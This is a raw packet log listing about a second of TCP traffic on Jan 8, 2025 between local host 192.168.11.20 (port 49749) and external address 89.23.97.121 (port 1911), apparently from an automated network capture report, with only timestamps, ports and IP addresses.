Jan 8, 2025 11:24:39.760067940 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.760204077 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.760293007 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.760389090 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.760410070 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.760530949 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.760540962 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.760656118 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.760766983 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.760896921 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.760905027 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.760988951 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.761022091 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.761135101 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.761194944 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.761225939 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.761349916 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.761466026 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.761476040 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.761590958 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.761699915 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.761823893 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.761872053 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.761981964 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.761986971 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.762099981 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.762167931 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.762286901 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.762402058 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.762433052 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.762550116 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.762589931 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.762639999 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.762753963 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.762840033 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.762877941 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.762990952 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.763101101 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.763124943 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.763237953 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.763336897 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.763370037 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.763484001 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.763530016 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.763571024 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.763688087 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.763695002 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.763768911 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.763814926 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.763922930 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.764043093 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.764075041 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.764189959 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.764272928 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.764323950 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.764441967 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.764465094 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.764516115 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.764624119 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.764698982 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.764749050 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.764858961 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.764925003 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.764977932 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.765099049 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.765206099 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.765208006 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.765326977 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.765358925 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.765470028 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.765559912 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.765647888 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.765681028 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.765794039 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.765908003 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.765909910 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.766031981 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.766148090 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.766235113 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.766262054 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.766313076 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.766431093 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.766493082 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.766608953 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.766611099 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.766730070 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.766777992 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.766894102 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.766963005 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.767067909 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.767085075 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.767200947 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.767276049 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.767313004 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.767431021 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.767483950 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.767599106 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.767663002 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.767784119 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.767790079 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.767906904 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.768016100 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.768091917 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.768138885 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.768162966 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.768253088 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.768368006 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.768484116 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.768516064 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.768630981 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.768718958 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.768810987 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.768835068 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.768898964 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.768950939 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.769068956 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.769175053 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.769191027 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.769310951 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.769371986 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.769423962 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.769542933 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.769644022 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.769650936 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.769773006 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.769809008 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.769922018 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.770004988 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.770087957 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.770123005 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.770242929 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.770322084 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.770361900 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.770473003 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.770525932 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.770641088 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.770705938 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.770813942 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.770821095 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.770941019 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.771047115 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.771054983 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.771176100 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.771297932 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.771306038 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.771424055 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.771524906 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.771528006 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.771650076 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.771723986 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.771759033 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.771876097 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.771992922 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.772006989 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.772119999 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.772125959 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.772238016 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.772350073 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.772388935 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.772532940 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.772614002 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.772713900 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.772725105 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.772850990 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.772866964 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.772978067 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.773041964 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.773140907 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.773159027 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.773281097 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.773386955 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.773400068 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.773516893 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.773655891 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.773689032 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.773771048 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.773806095 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.773885012 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.774004936 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.774095058 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:39.774115086 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:39.774275064 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.028831959 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.028980970 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.029099941 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.029107094 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.029230118 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.029326916 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.029364109 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.029416084 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.029481888 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.029505968 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.029648066 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.029712915 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.029846907 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.029882908 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.029948950 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.030039072 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.030066013 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.030174971 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.030220985 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.030298948 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.030412912 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.030505896 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.030533075 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.030639887 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.030754089 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.030783892 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.030925035 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.030985117 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.031018019 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.031156063 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.031208992 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.031236887 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.031344891 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.031455040 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.031474113 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.031582117 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.031615019 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.031733990 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.031816959 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.031903028 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.031958103 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.032118082 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.032171011 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.032183886 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.032335043 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.032344103 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.032402039 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.032519102 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.032563925 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.032685995 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.032752991 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.032870054 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.032916069 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.033004999 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.033080101 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.033113956 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.033230066 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.033307076 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.033339977 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.033447981 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.033513069 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.033571959 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.033688068 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.033730030 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.033852100 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.033921957 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.034017086 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.034054995 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.034169912 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.034264088 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.034288883 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.034399986 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.034512043 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.034601927 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.034627914 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.034696102 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.034737110 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.034856081 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.034953117 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.034980059 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.035141945 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.035146952 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.035168886 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.035377026 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.308628082 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.351749897 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.480566025 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.622677088 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.622867107 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.759393930 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.759466887 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.759577990 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.759694099 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.759838104 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.759953976 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.760046005 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.760162115 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.760315895 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.760334015 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.760334015 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.760401964 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.760536909 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.760615110 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.760629892 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.760739088 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.760862112 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.760926962 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.760977983 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.761095047 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.761213064 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.761272907 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.761338949 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.761367083 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.761457920 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.761552095 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.761564016 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.761693001 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.761796951 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.761850119 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.761914968 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.761967897 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.762033939 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.762149096 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.762244940 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.762271881 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.762387037 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.762501955 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.762509108 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.762634039 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.762666941 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.762736082 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.762850046 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.762868881 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.762897968 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.762998104 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.763014078 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.763081074 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.763183117 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.763199091 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.763237000 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.763364077 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.763434887 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.763437986 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.763513088 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.763566017 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.763628006 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.763678074 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.763777018 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.763786077 CET	1911	49749	89.23.97.121	192.168.11.20
Jan 8, 2025 11:24:40.763823032 CET	49749	1911	192.168.11.20	89.23.97.121
Jan 8, 2025 11:24:40.763910055 CET	1911	49749	89.23.97.121	192.168.11.20
